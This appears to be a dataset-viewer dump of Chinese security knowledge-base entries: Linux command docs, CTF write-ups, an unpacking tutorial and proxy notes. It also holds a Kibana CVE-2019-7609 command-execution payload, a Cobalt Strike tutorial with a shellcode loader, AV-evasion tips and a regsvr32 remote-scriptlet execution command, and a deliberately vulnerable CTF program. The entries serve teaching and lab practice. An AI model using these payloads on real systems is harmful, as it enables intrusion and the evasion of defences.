text
stringlengths
100
9.93M
category
stringclasses
11 values
xrandr === X 窗口系统配置管理工具 ## 补充说明 **xrandr命令**RandR(Rotate and Resize,旋转与缩放)是一个X窗口系统扩展,允许客户端动态调整(即缩放、旋转、翻转)屏幕。xrandr是一款官方的randr扩展配置工具。 ### 语法 ```shell xrandr(选项)(参数) ``` ### 选项 ```shell --auto #以系统最大分辨率输出 --off #指定设备设置为关闭 --output #输出设备 --mode #设置分辨率 --rate #设置刷新率 --right-of #主显示器右侧 --left-of #主显示器左侧 --above #主显示器上方 --below #主显示器下方 ``` ### 参数 * 显示设备编号 ### 实例 测试配置,列出可用设备及其信息 ```shell xrandr Screen 0: minimum 320 x 200, current 3200 x 1080, maximum 8192 x 8192 VGA-1 disconnected (normal left inverted right x axis y axis) HDMI-1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 531mm x 299mm 1920x1080 59.93 + 60.00* 50.00 59.94 1920x1080i 60.00 50.00 59.94 1680x1050 59.88 … ``` 克隆屏幕 ```shell xrandr --output HDMI-1 --auto ``` 多显示器关闭不需要的 ```shell xrandr --output HDMI-1 --off --output HDMI-2 --auto ``` 指定分辨率和刷新率 ```shell xrandr --output HDMI-1 --mode 1920x1080 --rate 60 ``` VGA1位于HDMI1左侧,均使用最佳分辨率,分屏显示 ```shell xrandr --output VGA1 --auto --output HDMI1 --auto --right-of VGA1 ```
sec-knowleage
# 实用性 WEB 开发人员安全须知 ### 目标读者 安全问题主要由以下两类原因导致: 1. 那些刚入门的无法区分 MD5 和 bcrypt 作用的开发者 2. 那些知道这件事但忘记/忽略了的开发者 我们的详细说明应该可以帮到第 1 类开发者,而我们希望我们的 checklist 可以帮到第 2 类的开发者构建更多的安全系统。这并不是一个综合性的全面指南,只是覆盖了大多数我们在过去发现的常见问题。 ### 目录 1. [安全Checklist](security-checklist-zh.md) 2. 什么东西会出问题? 3. 安全地传输数据: HTTPS 详解 4. 权限验证: 我是谁? 4.1 基于表单的权限验证 4.2 基础鉴权 4.3 一次是不够的、二次、三次(验证).... 4.4 为什么使用不安全的文本消息? HOTP & TOTP 介绍 4.5 处理密码重置 5. 权限验证: 我能做什么? 5.1 基于 Token 的权限验证 5.2 OAuth 和 OAuth2 5.3 JWT(JSON Web Token) 6. 数据校验和过滤: 绝不信任用户输入 6.1 校验和过滤用户输入 6.2 过滤输出 6.3 跨站脚本攻击(XSS) 6.4 注入攻击 6.5 用户上传 6.6 用户篡改输入 7. 纯文本 != 编码 != 加密 != 哈希 7.1 通用编码模式 7.2 加密 7.3 哈希和单向函数(功能) 7.4 哈希速度对照表 8. 密码: dadada、123456、cute@123 8.1 密码策略 8.2 密码存储 8.3 没有密码的生活 9. 公钥加密 10. 会话: 请记住我 10.1 哪里存储状态? 10.2 使会话失效 10.3 Cookie 怪物和你 11. 加固安全, 一次只有一个头信息 11.1 安全的 web header 11.2 第三方代码的数据集成检测 11.3 证书绑定 12. 配置错误 12.1 云上准备: 端口、Shodan、AWS 12.2 亲,你开了 debug 模式 12.3 日志(或者没有日志) 12.4 监控 12.5 最低优先级原理 12.6 (请求)频率限制 和 Captchas 12.7 把项目的密钥和密码保存在文件上 12.8 DNS: 关于子域名和被遗忘的宠物计划 12.9 打补丁和更新 13. 攻击: 当坏人来临 13.1 点击劫持 13.2 跨站请求伪造 13.3 拒绝服务 13.4 服务端请求伪造 14. [互联网公司漏洞统计](vulnerabilities-stats-zh.md) 15. 重造轮子,但做出来是方的 15.1 Python 的安全库和包 15.2 NodeJS 的安全库和包 15.3 学习资料 16. 掌握良好的安全习惯 17. 安全性 vs 可用性 18. 回到第 1 条: 安全 Checklist 解释 ### 我们是谁? 我们是全栈开发工程师,讨厌看到那些所谓为了做某件事情而 hack,但写了一堆不安全代码的开发者。在过去六个月,我们保护了超过 1500w 信用卡信息不被泄露,超过 4500w 的用户个人信息不被盗取,潜在的拯救了大量公司的倒闭。最近,我们发现的一个安全问题,可以导致一家比特币交易公司因数据泄露而倒闭。我们帮助了若干创业公司让他们的系统更安全,大多数都是免费的,有时候甚至连『谢谢』都没收到 :) *如果你不同意我们的观点或者找到 bug,请开启一个 issue 或者提交一个 PR 给我们。另外,你也可以通过 [email protected] 与我们交流。*
sec-knowleage
# Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609) Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。 参考链接: - https://nvd.nist.gov/vuln/detail/CVE-2019-7609 - https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ - https://slides.com/securitymb/prototype-pollution-in-kibana/#/4 ## 漏洞环境 启动环境前,需要先在Docker主机上执行如下命令,修改`vm.max_map_count`配置为262144: ``` sysctl -w vm.max_map_count=262144 ``` 之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:5601`即可看到Kibana页面。 ## 漏洞复现 原型链污染发生在“Timeline”页面,我们填入如下Payload: ``` .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` ![](1.png) 成功后,再访问“Canvas”页面触发命令`/bin/touch /tmp/success`,可见`/tmp/success`已成功创建: ![](2.png)
sec-knowleage
# 最后一次异常法 最后一次异常法的原理是, 程序在自解压或自解密过程中, 可能会触发无数次的异常. 如果能定位到最后一次程序异常的位置, 可能就会很接近自动脱壳完成位置. 现在最后一次异常法脱壳可以利用Ollydbg的异常计数器插件, 先记录异常数目, 然后重新载入, 自动停在最后一次异常处. ## 要点 1. 点击`选项->调试选项—>异常`, 把里面的√全部去掉! 按下`CTRL+F2`重载下程序 2. 开始程序就是一个跳转, 在这里我们按`SHIFT+F9`, 直到程序运行, 记下从开始按`SHIFT+F9`到程序运行的次数`m`! 3. `CTRL+F2`重载程序, 按`SHIFT+F9`(这次按的次数为程序运行的次数`m-1`次) 4. 在OD的右下角我们看见有一个"`SE 句柄`", 这时我们按`CTRL+G`, 输入`SE 句柄`前的地址! 5. 按F2下断点!然后按`SHIFT+F9`来到断点处, F8单步跟踪 ## 示例 示例程序可以点击此处下载: [5_last_exception.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/5_last_exception.zip) OD载入程序, 在菜单`选项->调试设置->异常标签页`中取消勾选所有的忽略异常, 然后重载程序. 我们按下`Shift+F9`, 记录按了多少次, 程序正常运行. 我们要得到的是倒数第二次按下是按了多少次. 在本例中 * `shift+F9`一次, 到了`0040CCD2`的位置 * `shift+F9`两次, 程序正常运行 那么我们重载程序, 只需按下1次(`2-1=1`)`Shift+F9`, 来到`0040CCD2`的位置, 观察堆栈窗口, 这里有一个`SE处理程序: 0040CCD7` 我们在CPU窗口(汇编指令), 按`Ctrl+G`, 输入`0040CCD7`, 然后在此处按下F2. 也就是在`0040CCD7`处设置断点, 然后按下`Shift+F9`运行, 触发断点. 触发断点后, 来单步跟踪. 向下都是一些循环和跳转, 我们使用F4跳过循环. 最后到达如下位置 显然在最后的`mov ebp, 0041010CC; jmp ebp`是在跳转向OEP, 我们跳转过去如下图所示: 显然, 我们幸运地来到了OEP处.
sec-knowleage
# 研究方向与相关研究者 ## 目录 [TOC] ## 研究方向与项目 整理一些安全数据分析、AI驱动安全相关的研究方向与项目。 ### 研究方向 以下来自[郑涵](https://zhuanlan.zhihu.com/p/88042567)师傅的文章: - 通过LSTM自动生成webshell黑样本 - 基于GAN网络绕过现有深度学习AV检测模型 - 基于遗传优化算法的的自动化0day样本生成 - 基于贝叶斯信念网络的入侵回溯推理 - 通过攻击链路中已回溯出来的信息(进程、网络、文件)横向关联其他被这个团伙入侵的机器,然后继承他们的入侵原因 --- 以下来自[404](https://github.com/404notf0und/FXY/blob/master/docs/%E9%9C%80%E6%B1%82%E5%92%8C%E8%AE%BE%E8%AE%A1.md)师傅的文章: - LSTM识别恶意HTTP请求@cdxy - AI-Driven-WAF@exp-db - Phishing URL Classification@surajr - 使用深度学习检测XSS@Webber - 基于深度学习的恶意样本行为检测@ApplePig@360云影实验室 ### 相关项目 #### 关于数据源 参考本文档的:[开放安全数据集整理](https://y1ng.org/TheRoadOfSO/0x4_%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/%3E%3E%3E%20%E6%95%B0%E6%8D%AE%E9%9B%86/0x0_%E5%BC%80%E6%94%BE%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E9%9B%86%E6%95%B4%E7%90%86/) #### 学习笔记和资料整合 - [AI-for-Security-Learning](https://github.com/404notf0und/AI-for-Security-Learning) - “安全场景、基于AI的安全算法和安全数据分析学习笔记(偏工程类学习笔记),持续阅读,保持对业界技术的跟进和迭代。”,[404 Not Found](https://4o4notfound.org/)师傅的整理一个学习笔记 - [Security Data Science Learning Resources](https://medium.com/@jason_trost/security-data-science-learning-resources-8f7586995040) - 国外研究者,[Jason Trost](http://www.covert.io/)整理的安全数据科学学习资料 ## 相关研究者与团队 安全数据分析是一个较为前沿和专业的领域,入门的门槛相对较高,整理相关研究者信息的目的,也是为了能看到这个领域内他人的研究大概,方便初学者看到方向。 ### 国内 #### 个人 \[1] cdxy(徐越), 阿里云 安全工程师,企业安全/入侵检测与响应 • 数据分析/机器学习爱好者,[知乎](https://www.zhihu.com/people/xu-le-zhen-13) \[2] ailx10,[知乎](https://www.zhihu.com/people/ailx10/columns) \[3] 404 Not F0und,蚂蚁金服,有同名公众号 \[4] tanjiti,碳基体,[个人博客](https://tanjiti.github.io/about/),在[百度](https://www.baidu.com/)做安全产品研发,业余专注在入侵检测与大数据安全分析 \[5] wstart,[先知社区](https://xz.aliyun.com/u/395) \[6] 郑瀚,Andrew_Hann,阿里云盾,机器学习与网络安全,[知乎](https://www.zhihu.com/people/ai-shai-tai-yang-de-feng-51/posts),[博客园](https://www.cnblogs.com/LittleHann/) \[7] 邹先生,[freebuf](https://www.freebuf.com/author/%E9%82%B9%E5%85%88%E7%94%9F007) \[8] 四个菜,CSDN:[xbs118](https://blog.csdn.net/qq_38262728) \[9] six,[语雀](https://www.yuque.com/u447199),[论文笔记](https://www.yuque.com/u447199/fnixs3) \[10] 黄诚,[个人主页](https://chenghuang.org/),川大 #### 团队 \[1] 天枢实验室,绿盟,https://www.nsfocus.com.cn/html/4/90/97/ ### 国外 #### 个人 [1] Jay Jacobs,《Data, Driven Security: Analysis, Visualization and Dashboards》作者,数据分析与可视化、风险分析和信息安全方向,[Twitter](https://twitter.com/jayjacobs); [RSA Conference](https://www.rsaconference.com/experts/jay-jacobs#content-tab-contributions) \[2] Jason Trost,SECURITY + BIG DATA + MACHINE LEARNING,http://www.covert.io/ \[3] Vinayakumar Ravi,[个人博客](https://vinayakumarr.github.io/),[GitHub](https://github.com/vinayakumarr) \[4] WooChul Shim,三星研究院安全团队1Lab的负责人,软件安全、物联网安全、威胁情报领域涉猎,[个人主页](https://wcshim40.github.io/cv/) \[5] Steve T.K. Jan,机器学习和信息安全交叉领域研究者,僵尸网络、仿冒域名检测等,[个人主页](https://stevetkjan.github.io/) \[6] Alistair Gillespie, Manager and Machine Learning Engineer. Trails, Tunes and Threats, [GitHub](https://github.com/alistairwgillespie) #### 团队 \[1] 三星研究院安全团队,[官方主页](https://research.samsung.com/security),[GitHub主页](https://research.samsung.com/security))
sec-knowleage
#include <stdio.h> #include <stdlib.h> #include <string.h> /*** HELPER FUNCTIONS ***/ const int N = 1024; // General buffer size int get_number() { int k; char buffer[N]; if (fgets (buffer, N, stdin) == NULL) { printf("Failed to read number\n"); exit(-69); } sscanf(buffer, "%d\n", &k); return k; } const int l1_len = L1; const int l2_len = L2; #define STATE_SIZE_LEN 512 struct global_s { int s1_citizens[l1_len]; int s2_citizens[l2_len]; char s1_name[STATE_SIZE_LEN]; // Name of state 1 char s2_name[STATE_SIZE_LEN]; // Name of state 2 char *announcement; int announcement_length; int secret; } global; #define PSTATE(X) \ do { \ printf("State %s\n", global.s##X##_name);\ int i=-1, length = sizeof(global.s##X##_citizens)/sizeof(int);\ while (++i < length) {\ printf("Citizen %d: $%d\n", i, global.s##X##_citizens[i]);\ }\ } while (0) // Print citizen information of states void print_states () { if (global.announcement != NULL) { printf("PSA: %s\n", global.announcement); } printf("\nState of the world!\n"); // Macros are beutiful aren't they... PSTATE(1); printf("\n-----------------------\n"); PSTATE(2); } #define SET_STATE(X, V) \ do { \ int i=-1, length = sizeof(global.s##X##_citizens)/sizeof(int);\ while (++i < length) {\ global.s##X##_citizens[i] = V;\ }\ } while (0) // Print citizen information of states void init_states(int k) { printf("\nInitializing all states to %d.\n", k); // Macros are beutiful aren't they... SET_STATE(1, k); SET_STATE(2, k); } #define _STR(x) #x #define STR(x) _STR(x) void propagate_forward(int k) { // Somewhere total_length will be used :), with some buffer or heap int length_diff = L2 - L1; printf("L's: %d %d\n", L1, L2); printf("L1: %s\n",STR(L1)); printf("L2: %s\n",STR(L2)); printf("L's: %d and %d\n", L1, L2); printf("calculated diff=%d\n", L2-L1); printf("actual diff=%d\n", (L2)-(L1)); int i,j; for (i=0; i < L1-1; i++) { // At random, swap money to keep circulation of money if (rand() % 2) { int tmp = global.s1_citizens[i]; global.s1_citizens[i] = global.s2_citizens[i]; global.s2_citizens[i] = tmp; } // Propagate forward s1 if (global.s1_citizens[i] >= k) { global.s1_citizens[i] -= k; global.s1_citizens[i+1] += k; // If we reach a bankrupt person, // give him the money if (global.s1_citizens[i+1] == k) { return; } } // Propagate forward s2 if (global.s2_citizens[i] >= k) { global.s2_citizens[i] -= k; global.s2_citizens[i+1] += k; // If we reach a bankrupt person, // give him the money if (global.s2_citizens[i+1] == k) { return; } } } printf("Final i=%d\n",i); for (j=0; j < length_diff; j++) { // Propagate forward s2 if (global.s2_citizens[i+j] >= k) { global.s2_citizens[i+j] -= k; global.s2_citizens[i+j+1] += k; printf("%d:0x%x\n", i+j+1,global.s2_citizens[i+j+1]); // If we reach a bankrupt person, // give him the money if (global.s2_citizens[i+j+1] == k) { return; } } } } void propagate_backward(int k) { // Somewhere total_length will be used :), with some buffer or heap int length_diff = L2 - L1; int i,j; for (i=0; i < L1 - 1; i++) { // At random, swap money to keep circulation of money if (rand() % 2) { int tmp = global.s1_citizens[i]; global.s1_citizens[i] = global.s2_citizens[i]; global.s2_citizens[i] = tmp; } // Propagate forward s1 if (global.s1_citizens[i+1] >= k) { global.s1_citizens[i+1] -= k; global.s1_citizens[i] += k; // If we reach a bankrupt person, // give him the money if (global.s1_citizens[i] == k) { return; } } // Propagate forward s2 if (global.s2_citizens[i+1] >= k) { global.s2_citizens[i+1] -= k; global.s2_citizens[i] += k; // If we reach a bankrupt person, // give him the money if (global.s2_citizens[i] == k) { return; } } } for (j=0; j < length_diff; j++) { // Propagate forward s2 if (global.s2_citizens[i+j+1] >= k) { global.s2_citizens[i+j+1] -= k; global.s2_citizens[i+j] += k; printf("%d:0x%x\n", i+j+1,global.s2_citizens[i+j+1]); // If we reach a bankrupt person, // give him the money if (global.s2_citizens[i+j] == k) { return; } } } } // Welcome Message void greeting() { printf("Welcome to the Trump gold sharing simulator!\n"); printf("The simulator tries to simulate gold transfering between two " "states. \n"); printf("Enter the name of the first state:"); if (fgets (global.s1_name, STATE_SIZE_LEN, stdin) == NULL) { printf("Failed to read name\n"); exit(-69); } global.s1_name[strcspn(global.s1_name, "\n")] = 0; printf("Enter the name of the second state:"); if (fgets (global.s2_name, STATE_SIZE_LEN, stdin) == NULL) { printf("Failed to read name\n"); exit(-69); } global.s2_name[strcspn(global.s1_name, "\n")] = 0; } void init_states_wrap () { printf("Enter the amount to set the states in: "); int k = get_number(); if (k < 0) { printf("ERR: Negative Number\n"); return; } init_states(k); } typedef enum { FORWARD, BACKWARD } direction_t; void propagate_wrap (direction_t d) { printf("Enter the amount to propagate: "); int k = get_number(); if (k < 0) { printf("ERR: Negative Number\n"); return; } switch(d) { case FORWARD: propagate_forward(k); break; case BACKWARD: propagate_backward(k); break; default: printf("ERR: Invalid Direction\n"); } } void remove_announcement () { free(global.announcement); global.announcement = NULL; global.announcement_length = 0; } #define ANNOUNCEMENT_MAX_LEN 1024 void create_announcement () { int len; printf("Enter the length of your announcement: "); len = get_number(); if (len <= 0 || len > 1024) { printf("ERR: Invalid Length\n"); return; } if (global.announcement_length < len) { // Use new buffer remove_announcement (); global.announcement = malloc (len); //printf("Malloced %p\n", global.announcement); if (global.announcement == NULL) { printf("ERR: Failed to allocate announcement\n"); return; } global.announcement_length = len; } // Re-use available buffer if (fgets (global.announcement, len, stdin) == NULL) { printf("Failed to read announcement\n"); exit(-69); } global.announcement[strcspn(global.announcement, "\n")] = 0; } void menu() { // print stuff here int choice; while (1) { printf("Menu:\n"\ "0. Print state \n" "1. Initialize state \n" "2. Simulate Propagate Forward \n" "3. Simulate Propagate Backward \n" "4. Create Announcement \n" "5. Remove Announcement \n" "6. Quit \n" "\n" ); printf("Enter Your Choice: "); choice = get_number(); switch(choice) { case 0: print_states(); break; case 1: init_states_wrap(); break; case 2: propagate_wrap(FORWARD); break; case 3: propagate_wrap(BACKWARD); break; case 4: create_announcement(); break; case 5: remove_announcement(); break; case 6: exit(0); break; default: printf("Invalid Option!\n"); } /* int i; printf("OUTPUT S1:\n"); for (i=0; i<512; i++) printf("%c", global.s1_name[i]); printf("END S1:\n"); printf("OUTPUT S2:\n"); for (i=0; i<512; i++) printf("%c", global.s2_name[i]); printf("END S2:\n"); */ } return; } int main (){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); // First state must be smaller if (!(sizeof(global.s2_citizens) >= sizeof(global.s1_citizens))) { return -1; } global.announcement = NULL; global.announcement_length = 0; greeting(); menu(); return 0; /* printf("OUTPUT S1:\n"); for (i=0; i<512; i++) printf("%c", global.s1_name[i]); printf("END S1:\n"); printf("OUTPUT S2:\n"); for (i=0; i<512; i++) printf("%c", global.s2_name[i]); printf("END S2:\n"); */ }
sec-knowleage
# Gh0st in the machine (forensic,60p) > mY CoMputEr IS ActIng uP. cAn yOu heLP mE? > Flag format: BITS(WORDS.IN.CAPS) In this task we were given a pcap containing two minutes worth of keyboard USB capture. Apart from the actual keystrokes (which turned out to spell link to Rick Roll video...), there were some packets going from the host to the keyboard. They contained only a single byte, alternating 0x01 and 0x03. As we soon found out, these bits correspond to keyboard state, and the changing bit meant Caps Lock status. This was consistent with challenge description, which had some problems with letter case. We rememembered a recent article about exfiltration of data using those LEDs and thought this could be used here as well. so we wrote a quick script (parse3.py), calculating a difference between times the Caps Lock is turned on and off. They seemed to follow a certain pattern, and we soon thought it could be Morse code. We treated 300ms or longer pulses as dash and shorter as a dot, and using online morse converter gave us something close enough to flag (we had to guess two characters).
sec-knowleage
get_module === 获取Linux内核模块的详细信息 ## 补充说明 **get_module命令** 用于获取Linux内核模块的详细信息。 ### 语法 ```shell get_module 模块名 ``` ### 实例 使用lsmod命令查看内核模块: ```shell lsmod | head -5 Module Size Used by ipv6 272801 15 xfrm_nalgo 13381 1 ipv6 crypto_api 12609 1 xfrm_nalgo ip_conntrack_ftp 11569 0 ``` 使用get_module命令查看模块详细信息: ```shell get_module ipv6 refcnt : 15 srcversion : 8CC9C024755B4483E56C0EF Parameters: autoconf : 1 disable : 0 disable_ipv6 : 0 Sections: .altinstr_replacement : 0xf8f1a3cf .altinstructions : 0xf8f1d03c .bss : 0xf8f36000 .data.read_mostly : 0xf8f34d20 .data : 0xf8f2f7a0 .exit.text : 0xf8f1a234 .gnu.linkonce.this_module : 0xf8f34e00 .init.data : 0xf8a16a60 .init.text : 0xf8a16000 .module_sig : 0xf8f37960 .rodata.str1.1 : 0xf8f1ae46 .rodata : 0xf8f1a420 .smp_locks : 0xf8f1d150 .strtab : 0xf8f29840 .symtab : 0xf8f24000 .text : 0xf8ef5000 __kcrctab : 0xf8f1de70 __kcrctab_gpl : 0xf8f1d9cc __ksymtab : 0xf8f1dd78 __ksymtab_gpl : 0xf8f1d954 __ksymtab_strings : 0xf8f1da44 __param : 0xf8f1da08 __versions : 0xf8f1df00 ```
sec-knowleage
# 0x00 Listeners介绍 在本版本Cobalt Strike 3.12中 提供了如图 8种Listeners(监听器) ![Cobalt Strike ](./img/2.1.png) >windows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp * beacon_x 系列为Cobalt Strike 自身,包括dns,http,https,smb四种方式的监听器 * foreign 系列为外部监听器 通常与MSF或者Armitage联动。 值得一提是在Cobalt Strike 3.13版本增加了一个新的Listeners(windows/beacon_tcp/bind_tcp) 它支持linuxSSH会话。本文不使用3.13版本具体更新内容可以观看[官网](https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/) # 0x01 创建一个服务 创建一个服务首先配置一个监听器 本文介绍http(https) ![Cobalt Strike ](./img/2.2.png) 选择 Packages>Windows Executable ![Cobalt Strike ](./img/2.3.png) 其中可以生成 EXE,DLL 32位系统或者64位,但是大多数我们生成Payload来做免杀 ![Cobalt Strike ](./img/2.4.png) 上线成功 在 Event Log处 出现上线信息 一个团队当然离不开交流 当你在Event Log直接输出内容后 全团队可见 ,输入`/msg name xxx` 给指定用户 # 0x02 Beacon 右键目标`interact`来使用`Beacon`,我们用它来执行各种命令,在第一课已经讲到 `help` 获得所有命令及其简介 `help 具体命令` 来获得详细用法。在Cobalt Strike中它的心跳默认是60s 这会让我们执行的命令响应很慢,在下载文件面前更为明显,所以我在测试时会把时间降低一点 。大家可以根据实战环境来调节,建议不要太快,不然流量会相对明显。 ![Cobalt Strike ](./img/2.5.png) 在这里我`sleep 5` 同时介绍在beacon中 如果想对目标进行命令管理 需要在前面加上shell 如`shell whoami` 非常简单 # 0x03 Payload Generator 用 Packages>Windows Executable生成的服务很容易被AV干掉,所以我们一般生成shellcode 然后自己写个加载器加载 打开Packages>Payload Generator ![Cobalt Strike ](./img/2.6.png) 不得不说Cobalt Strike非常温馨,给我们提供了各个语言的Payload 后期我们讲会讲到如何运用Payload来做一些简单的免杀,这里我们使用 C语言来写一个简单的加载器运行我们的Payload ,C语言写这些确实很简单。 * 用到的编译器是vc++6.0 ``` #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"; void main() { ((void(*)(void))&shellcode)(); } ``` 编译记得使用Release模式而不是Debug 生成,其中shellcode加载器方法来自于网络,后期关于免杀将会讲到其他,本文顺带将一下白名单Regsvr32执行。 # 0x04 白名单执行 讲到payload生成服务 不得不讲下关于生成dll文件 利用window的Regsvr32程序 ## Regsvr32简介: Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。下面是常用参数,其他参数请见[链接](https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages ) ``` /u 取消注册 /s 指定 regsvr32 安静运行,在成功注册/反注册DLL文件的前提下不显示结果提示框。 /n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。 /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。 ``` ## 第一种 命令 `regsvr32 c:\artifact.dll` ![Cobalt Strike ](./img/2.7.png) ## 第二种 通过 sct 远程执行绕过防病毒这里前提需要将 exe 文件上传到目标主机 本文上传到c:\test.exe payload.sct文件内容如下: ``` <?XML version="1.0"?> <scriptlet> <registration progid="Pentest" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd /k c:\\test.exe"); ]]> </script> </registration> </scriptlet> ``` 上面代码可以上传到Github等白名单域名 本文使用Cobalt Strike自带的服务来搭建 顺便介绍功能 打开>Web Drive-by>Host File ![Cobalt Strike ](./img/2.8.png) 然后执行 `regsvr32 /u /n /s /i:http://192.168.130.130:80/payload.sct scrobj.dll` 执行效果目标机 ![Cobalt Strike ](./img/2.9.png) # 0x05 文末 本章感觉有点简单, 在介绍监听器与payload的时候顺带提了下免杀,循序渐进把CS的功能都介绍下,让每一篇都有一些营养,由于本人笔记本不行开2个虚拟机都卡了,所以靶机有所混合,大家不要介意。这次环境的搭建浪费了很多时间。(用时5小时) ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# 代理实验 > 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [终于有人把正向代理和反向代理解释的明明白白了!](https://cloud.tencent.com/developer/article/1418457) - [谈谈我所了解的WEB代理](https://www.freebuf.com/articles/web/181723.html) - [红队第9篇:给任意java程序挂Socks5代理方法](https://mp.weixin.qq.com/s/pVAZvKADFVwPOC4CwrCooQ) **相关利用案例** - [代理配置不当](../../Web安全/Web_Generic/Web_Generic.md#代理配置不当) --- ## 正向代理 正向代理(forward proxy):是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器取得内容,客户端向代理服务器发送一个请求并指定目标,然后代理服务器向目标服务器转交请求并将获得的内容返回给客户端。 这种代理其实在生活中是比较常见的,比如访问外国网站技术,其用到的就是代理技术。 有时候,用户想要访问某国外网站,该网站无法在国内直接访问,但是我们可以访问到一个代理服务器,这个代理服务器可以访问到这个国外网站。这样呢,用户对该国外网站的访问就需要通过代理服务器来转发请求,并且该代理服务器也会将请求的响应再返回给用户。这个上网的过程就是用到了正向代理。 所以,正向代理,其实是"代理服务器"代理了"客户端",去和"目标服务器"进行交互。 --- ### 代理池 **相关工具** - [kitabisa/mubeng](https://github.com/kitabisa/mubeng) - An incredibly fast proxy checker & IP rotator with ease. **相关资源** - [zu1k/proxypool](https://github.com/zu1k/proxypool) - [safe6Sec/proxyServer](https://github.com/safe6Sec/proxyServer) - [Mustard404/Auto_proxy](https://github.com/Mustard404/Auto_proxy) - 利用IP地址池进行自动切换Http代理,防止IP封禁。 - [sh3d0ww01f/WaterDragon](https://github.com/sh3d0ww01f/WaterDragon) - 用GithubAction实现代理功能,一次一个ip - [ustayready/fireprox](https://github.com/ustayready/fireprox) - AWS API Gateway management tool for creating on the fly HTTP pass-through proxies for unique IP rotation **相关文章** - [说说代理池](https://xz.aliyun.com/t/7718) - [红狗利器:IP代理池](https://www.freebuf.com/sectool/332623.html) #### 云函数实现代理池 - [浅谈云函数的利用面](https://xz.aliyun.com/t/9502) - [shimmeris/SCFProxy](https://github.com/shimmeris/SCFProxy/) - 一个利用云函数实现各种功能的工具 - [利用腾讯云函数搭建免费代理池(搭建过程)](https://www.freebuf.com/sectool/332903.html) - [利用云函数搭建免费代理池](https://www.cnblogs.com/supdon/p/15099742.html) ### clash **相关文章** - [用 Clash 做代理](https://maintao.com/2021/use-clash-as-a-proxy/) - [Clash实现IP秒级切换(含简易源码分析)](https://segmentfault.com/a/1190000040828310) - [Clash 学习(四)在 Clash 中配置使用 HTTP 协议或 SOCKS5 协议的节点](https://senjianlu.com/2021/11/clash-note-04/) ### proxifier **官网地址** - https://www.proxifier.com/ windows 下推荐 ### proxychains-ng **项目地址** - https://github.com/rofl0r/proxychains-ng mac/linux 下推荐 可用 f8x 进行安装 ```bahs wget -O f8x https://f8x.io/ bash f8x -p ``` 也可自行编译安装 ```bash git clone https://github.com/rofl0r/proxychains-ng.git cd proxychains-ng ./configure make && make install cp ./src/proxychains.conf /etc/proxychains.conf cd .. && rm -rf proxychains-ng ``` ### ss5 - [ss5](../../../../Integrated/Linux/Power-Linux.md#ss5) --- ## 反向代理 反向代理(reverse proxy):是指以代理服务器来接受 internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 internet 上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。 对于常用的场景,就是在 Web 开发中用到的负载均衡服务器,客户端发送请求到负载均衡服务器上,负载均衡服务器再把请求转发给一台真正的服务器来执行,再把执行结果返回给客户端。 ### nginx **官网地址** - https://www.nginx.com/ **安装方式** linux 安装方式见如下链接🔗 - [nginx安装](../../../../Integrated/Linux/Power-Linux.md#nginx) ### frp - [frp](../../../安全工具/frp.md) ### nps - [nps](../../../安全工具/nps.md)
sec-knowleage
